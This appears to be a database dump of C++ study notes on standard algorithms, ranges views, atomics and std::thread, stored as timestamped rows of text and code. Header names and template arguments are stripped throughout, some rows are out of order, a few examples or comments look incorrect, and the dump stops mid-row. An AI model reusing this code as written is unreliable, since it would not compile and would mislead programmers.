std::ranges::fill(range, 1);\n // range == {1,1,1,1,1}\n} code txt 2024-07-28 10:00:24.083741 -1723 390 | `std::fill_n` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:24.651009 -1724 390 #include \n#include \n#include text txt 2024-07-28 10:00:24.672133 -1725 390 int main()\n{\n std::vector range(5,0);\n std::ranges::fill_n(range, 3, 1);\n // range == {1,1,1,0,0}\n} code txt 2024-07-28 10:00:24.69377 -1726 391 | `std::generate` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:25.231256 -1727 391 #include \n#include \n#include text txt 2024-07-28 10:00:25.251871 -1728 391 int main()\n{\n std::vector range(5,0);\n std::ranges::generate(range, []() { return 1; });\n // range == {1,1,1,1,1}\n} code txt 2024-07-28 10:00:25.272126 -1729 392 | `std::generate_n` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:25.798743 -1730 392 #include \n#include \n#include text txt 2024-07-28 10:00:25.818701 -1731 392 int main()\n{\n std::vector range(5,0);\n std::ranges::generate_n(range, 3, []() { return 1; });\n // range == {1,1,1,0,0}\n} code txt 2024-07-28 10:00:25.838181 -1732 393 | `std::iota` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++23 | text txt 2024-07-28 10:00:26.40426 -1733 393 #include \n#include \n#include text txt 2024-07-28 10:00:26.424838 -1734 393 int main()\n{\n std::vector range(5,0);\n std::ranges::iota(range, 1);\n std::ranges::copy(range, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 10:00:26.445923 -1735 394 | `std::copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:27.093163 -1736 394 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:27.1141 -1737 394 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::ranges::copy(range.begin(), std::next(range.begin(), 3), std::next(range.begin(), 3));\n // a b c a b c\n std::ranges::copy(std::next(range.begin()), std::end(range), std::begin(range));\n // b c a b c c\n} code txt 2024-07-28 10:00:27.135998 -1738 395 | `std::move` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:27.740516 -1739 395 Significantly, whether `std::move` will move depends on the underlying element type.\nIf the underlying type is copy-only, `std::move` will behave identically to `std::copy`. text txt 2024-07-28 10:00:27.762205 -1740 395 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:27.782822 -1741 395 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::ranges::move(range.begin(), std::next(range.begin(), 3), std::next(range.begin(), 3));\n // ? ? ? a b c\n} code txt 2024-07-28 10:00:27.803905 -1742 396 | `std::copy_backward` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:28.578115 -1743 396 | `std::move_backward` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:28.597992 -1744 396 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:28.618225 -1745 396 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::vector output(9, "");\n std::ranges::copy_backward(std::begin(range), std::end(range), std::begin(output));\n // output = {? ? ? ? a b c a b c}\n std::ranges::copy_backward(std::begin(range), std::prev(std::end(range)), std::end(range));\n // range = {a a b c d e}\n} code txt 2024-07-28 10:00:28.63898 -1746 397 | `std::copy_n` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:29.23409 -1747 397 The algorithm cannot check whether the requested count is valid and does not go out of bounds, so this burden is on the caller. text txt 2024-07-28 10:00:29.255576 -1748 397 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:29.277015 -1749 397 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::vector output;\n std::ranges::copy_n(std::begin(range), 3, std::back_inserter(output));\n // output == {a b c}\n} code txt 2024-07-28 10:00:29.297185 -1750 398 | `std::copy_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:29.874161 -1751 398 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:29.895017 -1752 398 int main()\n{\n std::vector range{1,2,3,4,5,6};\n auto is_even = [](long e) { return e % 2 == 0; };\n std::ranges::copy_if(range, std::ostream_iterator(std::cout, " "), is_even); std::cout << "\\\\n";\n // 2 4 6\n} code txt 2024-07-28 10:00:29.916681 -1753 399 | `std::remove_copy_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:30.482495 -1754 399 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:30.504878 -1755 399 int main()\n{\n std::vector range{1,2,3,4,5,6};\n auto is_even = [](long e) { return e % 2 == 0; };\n std::ranges::remove_copy_if(range, std::ostream_iterator(std::cout, " "), is_even); std::cout << "\\\\n";\n // 1 3 5\n} code txt 2024-07-28 10:00:30.527202 -1756 400 | `std::remove_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:31.1155 -1757 400 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:31.13632 -1758 400 int main()\n{\n std::vector range{1,2,3,4,5,6};\n auto is_even = [](long e) { return e % 2 == 0; };\n std::ranges::remove_copy(range, std::ostream_iterator(std::cout, " "), 5); std::cout << "\\\\n";\n // 1 2 3 4 6\n} code txt 2024-07-28 10:00:31.156407 -1759 401 | `std::sample` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | N/A |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 10:00:31.814499 -1760 401 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:31.835357 -1761 401 int main()\n{\n std::vector range(10,0);\n std::iota(range.begin(), range.end(), 1);\n std::random_device rd{};\n std::mt19937 random_generator(rd());\n std::ranges::sample(range, std::ostream_iterator(std::cout, " "), 5, random_generator);\n // R R R R R\n} code txt 2024-07-28 10:00:31.856511 -1762 402 | `std::replace_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:32.476056 -1763 402 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:32.496326 -1764 402 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::replace_copy(range, std::ostream_iterator(std::cout, " "), 5, 0); std::cout << "\\\\n";\n // 1 2 3 4 0\n} code txt 2024-07-28 10:00:32.517017 -1765 403 | `std::replace_copy_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:33.097435 -1766 403 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:33.118178 -1767 403 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::replace_copy_if(range, std::ostream_iterator(std::cout, " "), [](long e) { return e % 2 == 0; }, 0); std::cout << "\\\\n";\n // 1 0 3 0 5\n} code txt 2024-07-28 10:00:33.139485 -1768 404 | `std::reverse_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:33.71142 -1769 404 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:33.73368 -1770 404 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::reverse_copy(range, std::ostream_iterator(std::cout, " "));\n // 5 4 3 2 1\n} code txt 2024-07-28 10:00:33.754589 -1771 405 | `std::rotate_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:34.383646 -1772 405 Mirrors the behavior of the `std::rotate` algorithm. text txt 2024-07-28 10:00:34.405656 -1773 405 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:34.426942 -1774 405 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::rotate_copy(range, std::next(std::begin(range), 2), std::ostream_iterator(std::cout, " "));\n // 3 4 5 1 2\n} code txt 2024-07-28 10:00:34.447925 -1775 406 | `std::construct_at` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:35.179939 -1776 406 | `std::destroy_at` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:35.200025 -1777 406 #include \n#include text txt 2024-07-28 10:00:35.219927 -1778 406 int main()\n{\n alignas(alignof(std::string)) char mem[sizeof(std::string)];\n auto *ptr = reinterpret_cast(mem);\n std::construct_at(ptr, 8, 'X');\n // *ptr == "XXXXXXXX", ptr->length() == 8\n std::destroy_at(ptr);\n} code txt 2024-07-28 10:00:35.240137 -1779 407 | `std::make_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:35.915327 -1780 407 The element at index $`i`$ compares greater or equal to the elements at indexes $`2i+1`$ and $`2i+2`$. text txt 2024-07-28 10:00:35.935752 -1781 407 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:35.95768 -1782 407 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n // 5 4 3 1 2\n std::ranges::make_heap(range, std::greater{});\n // 1 2 3 4 5\n} code txt 2024-07-28 10:00:35.979293 -1783 408 | `std::push_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:36.981061 -1784 408 | `std::pop_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:37.002639 -1785 408 #include \n#include \n#include text txt 2024-07-28 10:00:37.023462 -1786 408 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n // 5 4 3 1 2 text txt 2024-07-28 10:00:37.044127 -1787 408 range.push_back(7);\n std::ranges::push_heap(range);\n // 7 4 5 1 2 3 text txt 2024-07-28 10:00:37.066323 -1788 408 range.push_back(6);\n std::ranges::push_heap(range);\n // 7 4 6 1 2 3 5 text txt 2024-07-28 10:00:37.087218 -1789 408 std::ranges::pop_heap(range);\n // 6 4 5 1 2 3 7 text txt 2024-07-28 10:00:37.108895 -1790 408 std::ranges::pop_heap(range.begin(), std::prev(range.end()));\n // 5 4 3 1 2 6 7\n} code txt 2024-07-28 10:00:37.129404 -2088 483 class box\n{\nprivate:\n std::string first;\n std::array values; text txt 2024-07-28 10:01:28.267582 -1791 409 | `std::sort_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:37.720946 -1792 409 #include \n#include \n#include text txt 2024-07-28 10:00:37.743103 -1793 409 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n // 5 4 3 1 2\n std::ranges::sort_heap(range);\n // 1 2 3 4 5\n} code txt 2024-07-28 10:00:37.764032 -1794 410 | `std::is_heap` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:38.313259 -1795 410 #include \n#include \n#include text txt 2024-07-28 10:00:38.333658 -1796 410 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n std::ranges::is_heap(range);\n // true\n} code txt 2024-07-28 10:00:38.355437 -1797 411 | `std::is_heap_until` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:38.954767 -1798 411 #include \n#include \n#include text txt 2024-07-28 10:00:38.975529 -1799 411 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n auto it = std::ranges::is_heap_until(range);\n // it == range.end()\n} code txt 2024-07-28 10:00:38.997396 -1800 412 | `std::find` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:39.794192 -1801 412 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:39.815215 -1802 412 int main()\n{\n std::string data{"first;second;third;"};\n std::vector out;\n auto it = data.begin();\n auto token = data.begin(); text txt 2024-07-28 10:00:39.835883 -1803 412 while ((token = std::ranges::find(it, data.end(), ';')) != data.end())\n {\n out.push_back("");\n std::copy(it, token, std::back_inserter(out.back()));\n it = std::next(token);\n }\n std::ranges::copy(out, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 10:00:39.856829 -1804 413 | `std::find_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:40.206781 -1805 413 code txt 2024-07-28 10:00:40.226427 -1806 414 | `std::find_if_not` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:40.575223 -1807 414 code txt 2024-07-28 10:00:40.595322 -1808 415 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:41.256168 -1809 415 int main()\n{\n std::map map{ {0, "first"}, {1, "second"}, {2, "third"} }; text txt 2024-07-28 10:00:41.276101 -1810 415 std::ranges::copy(std::views::keys(map), std::ostream_iterator(std::cout, " "));\n // 0 1 2 text txt 2024-07-28 10:00:41.296451 -1811 415 std::ranges::copy(std::views::values(map), std::ostream_iterator(std::cout, " "));\n // first second third\n} code txt 2024-07-28 10:00:41.317408 -1812 416 #include \n#include p\n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:41.927669 -1813 416 int main()\n{\n std::vector> range{ {0, "John", 4}, {1, "Laura", 5}, {2, "Alice", 5} }; text txt 2024-07-28 10:00:41.949221 -1814 416 std::vector names;\n std::ranges::copy(range | std::views::elements<1>, std::ostream_iterator(std::cout, " "));\n // John Laura Alice text txt 2024-07-28 10:00:41.969759 -1815 416 std::vector name_length;\n std::ranges::copy(range | std::views::elements<2>, std::ostream_iterator(std::cout, " "));\n // 4 5 5\n} code txt 2024-07-28 10:00:41.990157 -1816 417 #include \n#include p\n#include \n#include \n#include text txt 2024-07-28 10:00:42.541164 -1817 417 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 10:00:42.562112 -1818 417 std::ranges::copy(std::views::transform(range, [](long e) -> long { return e*e; }), std::ostream_iterator(std::cout, " "));\n // 1 4 9 16 25 text txt 2024-07-28 10:00:42.582803 -1819 417 std::ranges::copy(range | std::views::transform([](long e) -> long { return e*e; }), std::ostream_iterator(std::cout, " "));\n // 1 4 9 16 25\n} code txt 2024-07-28 10:00:42.603865 -1820 418 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:43.067166 -1821 418 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::take(3), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 10:00:43.087256 -1822 419 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:43.533849 -1823 419 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::take_while([](long e) { return e <= 3; }), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 10:00:43.554139 -1824 420 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:43.994839 -1825 420 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::drop(3), std::ostream_iterator(std::cout, " "));\n // 4 5\n} code txt 2024-07-28 10:00:44.014973 -1826 421 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:44.478821 -1827 421 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::drop_while([](long e) { return e <= 3; }), std::ostream_iterator(std::cout, " "));\n // 4 5\n} code txt 2024-07-28 10:00:44.500476 -1828 422 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:44.949925 -1829 422 int main()\n{\n std::vector range{1,2,3,4,5,6};\n std::ranges::copy(range | std::views::filter([](long e) { return e % 2 == 0; }), std::ostream_iterator(std::cout, " "));\n // 2 4 6\n} code txt 2024-07-28 10:00:44.970418 -1830 423 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:45.415526 -1831 423 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::reverse, std::ostream_iterator(std::cout, " "));\n // 5 4 3 2 1\n} code txt 2024-07-28 10:00:45.43551 -1832 424 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:45.872741 -1833 424 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(std::views::counted(std::next(range.begin()), 3), std::ostream_iterator(std::cout, " "));\n // 2 3 4\n} code txt 2024-07-28 10:00:45.894397 -1834 425 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:46.348707 -3621 857 MovableType m; text txt 2024-07-28 10:05:16.545741 -1835 425 int main()\n{\n std::vector range{1,2,3,4,5};\n auto common = range | std::views::take(3) | std::views::common;\n std::copy(common.begin(), common.end(), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 10:00:46.369838 -1836 426 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:46.804068 -1837 426 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(std::views::all(range), std::ostream_iterator(std::cout, " "));\n // 1 2 3 4 5\n} code txt 2024-07-28 10:00:46.824803 -1838 427 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:47.505544 -1839 427 int main()\n{\n std::string version{"6.4.2"};\n std::ranges::copy(\n version |\n std::views::split('.') |\n std::views::transform([](auto v) {\n int token;\n std::from_chars(v.data(), v.data() + v.size(), token);\n return token;\n }),\n std::ostream_iterator(std::cout, " ")\n );\n // 6 4 2\n} code txt 2024-07-28 10:00:47.526421 -1840 428 incomplete text txt 2024-07-28 10:00:47.726561 -1841 429 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:48.106482 -1842 429 int main()\n{\n std::ranges::copy(std::views::empty, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 10:00:48.126978 -1843 430 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:48.567776 -1844 430 int main()\n{\n std::ranges::copy(std::views::single(4), std::ostream_iterator(std::cout, " "));\n // 4\n} code txt 2024-07-28 10:00:48.589719 -1845 431 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:49.085482 -1846 431 int main()\n{\n std::ranges::copy(std::views::iota(2,5), std::ostream_iterator(std::cout, " "));\n // 2 3 4 text txt 2024-07-28 10:00:49.105868 -1847 431 std::ranges::copy(std::views::iota(4) | std::views::take(3), std::ostream_iterator(std::cout, " "));\n // 4 5 6\n} code txt 2024-07-28 10:00:49.127972 -1848 432 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:49.56995 -1849 432 int main()\n{\n std::ranges::copy(std::views::istream(std::cin), std::ostream_iterator(std::cout, " "));\n // 1 2 3 4\n} code txt 2024-07-28 10:00:49.5911 -1850 433 import std; // brings the entire standard library text txt 2024-07-28 10:00:50.201229 -1851 433 int main()\n{\n std::println("C++{}", 23);\n} code txt 2024-07-28 10:00:50.222375 -1852 434 The C++ memory model has to deal with the following points: text txt 2024-07-28 10:00:50.738837 -1853 434 - **Atomic operations**: operations that can be performed without interruption.\n- **Partial ordering of operations**: sequences of operations that must not be reordered.\n- **Visible effects** of operations guarantees when operations on shared variables are visible to other threads. text txt 2024-07-28 10:00:50.759546 -1854 435 To deal with multithreading, we should be an expert.\nIn case we want to deal with atomics (sequencial consistency), we should open the door to the next level of expertise.\nWhen we talk about the aquire-release semantic, or relaxed semantics we advance one step higher to the next expertise level. text txt 2024-07-28 10:00:51.071226 -1855 435 1. Multithreading\n2. Sequencial Consistency\n3. Aquire-release Semantic\n4. Relaxed Semantic text txt 2024-07-28 10:00:51.091866 -1856 436 Spinlock mechanism can be implemented lock-free using atomic library. text txt 2024-07-28 10:00:52.248016 -1857 436 `std::atomic_flag` is an atomic boolean. It has a clear and a set state.\nThere are two methods in `std::atomic_flag`, the `clear()` which sets its\nvalue to `false`. Withe the `test_and_set()` method you can set the value\nback to `true` and return the previous value. There is no method to ask for\nthe current value. text txt 2024-07-28 10:00:52.269935 -1858 436 To use `std::atomic_flag` it must be initialized to `false` with the constant\n`ATOMIC_FLAG_INIT`. text txt 2024-07-28 10:00:52.292049 -1859 436 The `std::atomic_flag` has to be initialized with the statement\n`std::atomic_flag = ATOMIC_FLAG_INIT`. Other initialization contexts such as\n`std::atomic_flag{ATOMIC_FLAG_INIT}` are unspecified. text txt 2024-07-28 10:00:52.313109 -1860 436 #include \n#include \n#include text txt 2024-07-28 10:00:52.3345 -1861 436 class task_unit\n{\npublic:\n void do_something()\n {\n lock();\n std::this_thread::sleep_for(std::chrono::seconds{1});\n unlock();\n } text txt 2024-07-28 10:00:52.355119 -1862 436 private:\n void lock() { while (flag.test_and_set()); }\n void unlock() { flag.clear(); } text txt 2024-07-28 10:00:52.376187 -1863 436 private:\n std::atomic_flag flag = ATOMIC_FLAG_INIT;\n}; text txt 2024-07-28 10:00:52.397284 -1864 436 int main()\n{\n task_unit task; text txt 2024-07-28 10:00:52.418683 -1865 436 std::thread taskA{&task_unit::do_something, &task};\n std::thread taskB{&task_unit::do_something, &task}; text txt 2024-07-28 10:00:52.439817 -1866 436 taskA.join();\n taskB.join();\n} code txt 2024-07-28 10:00:52.460787 -1867 437 Using `std::atomic_flag` is more straightforward and fast. text txt 2024-07-28 10:00:53.394072 -1868 437 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:53.414943 -1869 437 class task_unit\n{\npublic:\n void do_something()\n {\n _lock.lock();\n std::this_thread::sleep_for(std::chrono::seconds{1});\n _lock.unlock();\n } text txt 2024-07-28 10:00:53.436038 -1870 437 private:\n std::mutex _lock;\n}; text txt 2024-07-28 10:00:53.456907 -1871 437 int main()\n{\n task_unit task; text txt 2024-07-28 10:00:53.47767 -1872 437 std::thread taskA{&task_unit::do_something, &task};\n std::thread taskB{&task_unit::do_something, &task}; text txt 2024-07-28 10:00:53.50022 -1873 437 taskA.join();\n taskB.join();\n} code txt 2024-07-28 10:00:53.520549 -1874 438 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:54.939504 -1875 438 class some_task\n{\npublic:\n some_task(): _mutex{}, _cond{}, _shared{}, _accessible{}\n {\n std::thread t1{&some_task::wait_for_work, this};\n std::thread t2{&some_task::prepare_data, this};\n t1.join();\n t2.join();\n } text txt 2024-07-28 10:00:54.960448 -1876 438 void wait_for_work()\n {\n std::cerr << "Waiting" << std::endl;\n std::unique_lock lock(_mutex);\n _cond.wait(lock, [this]() { return _accessible; });\n _shared.push_back(4);\n std::cerr << "Work complete" << std::endl;\n } text txt 2024-07-28 10:00:54.98134 -1877 438 void prepare_data()\n {\n _shared = {1, 2, 3}; text txt 2024-07-28 10:00:55.001694 -1878 438 {\n std::lock_guard lock(_mutex);\n _accessible = true;\n } text txt 2024-07-28 10:00:55.023169 -1879 438 std::cerr << "Data preparation complete" << std::endl;\n _cond.notify_one();\n } text txt 2024-07-28 10:00:55.043704 -1880 438 void print_data()\n {\n for (auto value: _shared)\n {\n std::cout << value << " ";\n }\n } text txt 2024-07-28 10:00:55.064332 -3678 882 code txt 2024-07-28 10:05:27.959293 -1881 438 private:\n std::mutex _mutex;\n std::condition_variable _cond;\n std::vector _shared;\n bool _accessible;\n}; text txt 2024-07-28 10:00:55.085286 -1882 438 int main()\n{\n some_task task{};\n} code txt 2024-07-28 10:00:55.10594 -1883 439 #include \n#include text txt 2024-07-28 10:00:55.800505 -1884 439 void show_id()\n{\n std::cout << std::this_thread::get_id() << std::endl;\n} text txt 2024-07-28 10:00:55.820558 -1885 439 int main()\n{\n std::thread worker{show_id};\n worker.join();\n} code txt 2024-07-28 10:00:55.841086 -1886 440 #include text txt 2024-07-28 10:00:56.845757 -1887 440 void do_something() {}\nvoid do_something_else() {} text txt 2024-07-28 10:00:56.866489 -1888 440 struct background_task\n{\n void operator ()()\n {\n do_something();\n do_something_else();\n }\n}; text txt 2024-07-28 10:00:56.887829 -1889 440 int main()\n{\n std::thread thread_f(do_something);\n thread_f.join(); text txt 2024-07-28 10:00:56.908427 -1890 440 background_task callable;\n std::thread thread_c(callable);\n thread_c.join(); text txt 2024-07-28 10:00:56.928792 -1891 440 // no to mistakenly call a thread like this:\n // std::thread thread_x(background_task());\n // which can be correctly expressed like:\n // std::thread thread_x((background_task()));\n // std::thread thread_x{background_task()}; text txt 2024-07-28 10:00:56.949557 -1892 440 std::thread thread_l([]{\n do_something();\n do_something_else();\n });\n thread_l.join();\n} code txt 2024-07-28 10:00:56.969608 -1893 441 #include \n#include text txt 2024-07-28 10:00:57.757308 -1894 441 struct background_task\n{\n using time_point = std::chrono::time_point; text txt 2024-07-28 10:00:57.77766 -1895 441 time_point& elapsed;\n background_task(time_point& init): elapsed{init}\n { } text txt 2024-07-28 10:00:57.797991 -1896 441 void operator ()()\n {\n using namespace std::chrono_literals; text txt 2024-07-28 10:00:57.818752 -1897 441 std::this_thread::sleep_for(1s);\n elapsed + 1s;\n }\n}; text txt 2024-07-28 10:00:57.840786 -1898 441 int main()\n{\n // sharing object\n std::chrono::time_point elapsed{};\n background_task f{elapsed};\n std::thread task(f);\n task.join();\n} code txt 2024-07-28 10:00:57.861644 -1899 442 #include \n#include text txt 2024-07-28 10:00:58.563383 -1900 442 void do_something() { }\nvoid do_something_else() { throw std::runtime_error("fatal"); } text txt 2024-07-28 10:00:58.583846 -1901 442 int main()\n{\n std::thread t(do_something); text txt 2024-07-28 10:00:58.605308 -1902 442 try\n {\n do_something_else();\n }\n catch (std::exception const& exp)\n {\n t.join(); // reaches due exceptional exit but joins anyway\n throw;\n } text txt 2024-07-28 10:00:58.626308 -1903 442 t.join();\n} code txt 2024-07-28 10:00:58.646526 -1904 443 #include text txt 2024-07-28 10:00:59.258062 -1905 443 void do_something() { } text txt 2024-07-28 10:00:59.278885 -1906 443 class thread_guard\n{\n std::thread& _t; text txt 2024-07-28 10:00:59.299484 -1907 443 public:\n explicit thread_guard(std::thread& t): _t{t} {}\n virtual ~thread_guard() { if (_t.joinable()) _t.join(); }\n thread_guard(thread_guard const&) = delete;\n thread_guard& operator =(thread_guard const&) = delete;\n}; text txt 2024-07-28 10:00:59.320997 -1908 443 int main()\n{\n std::thread t(do_something);\n thread_guard joining_thread{t};\n} code txt 2024-07-28 10:00:59.341579 -1909 444 #include \n#include text txt 2024-07-28 10:00:59.762602 -1910 444 void do_background_work() { } text txt 2024-07-28 10:00:59.78274 -1911 444 int main()\n{\n std::thread task{do_background_work};\n task.detach();\n assert(!task.joinable());\n} code txt 2024-07-28 10:00:59.804473 -1912 445 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:00.984592 -1913 445 void rvalue_write(std::string&&) { } // rvalue only\nvoid lvalue_write(std::string&) { } // lvalue only\nvoid pointer_write(std::string_view) { } // pointer only\nvoid smart_write(std::unique_ptr) { } // non-copyable object only text txt 2024-07-28 10:01:01.006354 -1914 445 struct heavy_work\n{\n void do_lengthy_work(std::string&) {}\n}; text txt 2024-07-28 10:01:01.026184 -1915 445 int main()\n{\n // implicit cast from const char* to std::string\n std::thread write_thread(rvalue_write, "text");\n write_thread.join(); text txt 2024-07-28 10:01:01.047713 -1916 445 char text[1024];\n sprintf(text, "%i", 1); text txt 2024-07-28 10:01:01.069334 -1917 445 // use of local object in joinable thread\n std::thread pointer_thread(pointer_write, text);\n pointer_thread.join(); text txt 2024-07-28 10:01:01.089581 -1918 445 // use of copied local object before background thread invokation\n std::thread local_thread(rvalue_write, std::string{text});\n local_thread.detach(); text txt 2024-07-28 10:01:01.109824 -1919 445 // pass by lvalue reference to avoid copy\n std::string str{text};\n std::thread ref_thread(lvalue_write, std::ref(str));\n ref_thread.join(); text txt 2024-07-28 10:01:01.130558 -1920 445 // bind method to thread\n heavy_work some_work;\n std::thread binding_thread(&heavy_work::do_lengthy_work, &some_work, std::ref(str));\n binding_thread.join(); text txt 2024-07-28 10:01:01.152226 -1921 445 // explicitly move non-copyable objects\n std::unique_ptr non_copyable{new std::string{str}};\n std::thread smart_thread(smart_write, std::move(non_copyable));\n smart_thread.join();\n} code txt 2024-07-28 10:01:01.173946 -1922 446 #include text txt 2024-07-28 10:01:01.706472 -1923 446 void do_work() { } text txt 2024-07-28 10:01:01.72803 -1924 446 int main()\n{\n std::thread t1{do_work}; // t1 joinable\n std::thread t2{std::move(t1)}; // t1 empty, t2 joinable\n t1 